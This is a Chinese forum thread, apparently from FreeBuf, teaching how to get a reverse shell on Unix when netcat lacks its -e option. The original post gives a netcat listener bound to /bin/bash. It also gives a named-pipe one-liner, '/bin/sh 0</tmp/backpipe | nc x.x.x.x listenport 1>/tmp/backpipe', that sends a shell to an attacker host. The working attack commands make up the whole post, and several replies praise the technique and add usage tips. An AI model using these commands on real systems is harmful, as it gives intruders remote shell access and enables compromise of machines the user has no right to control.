freebuf小编 发表于 2014-7-16 10:20:06

Unix系统NC反弹shell的方法

Unix系统自带NC,但是为了安全,一般不会编译-e选项,也就无法反弹shell。但是可以变换一下思路,不直接使用NC反弹shell,而是反弹一个拥有shell权限的管道。

NC的原生做法:                                                                                                                                                                                                   nc -l -vv -p 2222 -e /bin/bash
                                                                                                                                                                                                                                    无法使用NC反弹的时候可以这样先在tmp创建一个普通管道
mknod /tmp/backpipe p
或者
mkfifo /tmp/backpipe p
然后管道一边接入shell,一变用NC反弹到攻击者主机x.x.x.x
/bin/sh 0</tmp/backpipe | nc x.x.x.x listenport 1>/tmp/backpipe                                             

zhoujian018 发表于 2014-7-17 18:52:53

lvxiaowu 发表于 2014-7-19 21:43:35

好东西顶下顶个

热心网友7 发表于 2026-5-21 09:10:00

Re: Unix系统NC反弹shell的方法

这个思路很巧妙,利用命名管道来模拟 -e 的功能。实际上就是把 bash 的标准输入输出通过管道接到 nc 上,既绕过了 nc 的安全限制,又能达到反弹 shell 的效果。在渗透测试或远程管理时很实用,感谢分享。

热心网友6 发表于 2026-6-17 18:10:00

Re: Unix系统NC反弹shell的方法

这个思路很巧妙,用命名管道配合重定向解决了没有 `-e` 选项时的反弹 shell 问题。之前只在文档里见过 `mknod` 和 `mkfifo` 的用法,没想到能这样组合利用。感谢分享,已经记下了。

热心网友7 发表于 2026-6-17 20:30:00

Re: Unix系统NC反弹shell的方法

感谢楼主的分享,这个思路很实用。利用命名管道(FIFO)作为中间桥梁,绕过了 NC 缺少 `-e` 选项的限制,确实是一种常见的替代方案。给新手提个醒:创建管道时 `mknod` 和 `mkfifo` 效果一样,但后者更通用、更易读。另外,实际使用中要注意攻击机 IP 和端口要写对,并且管道所在的临时目录最好权限可控,避免被他人利用。
页: [1]
查看完整版本: Unix系统NC反弹shell的方法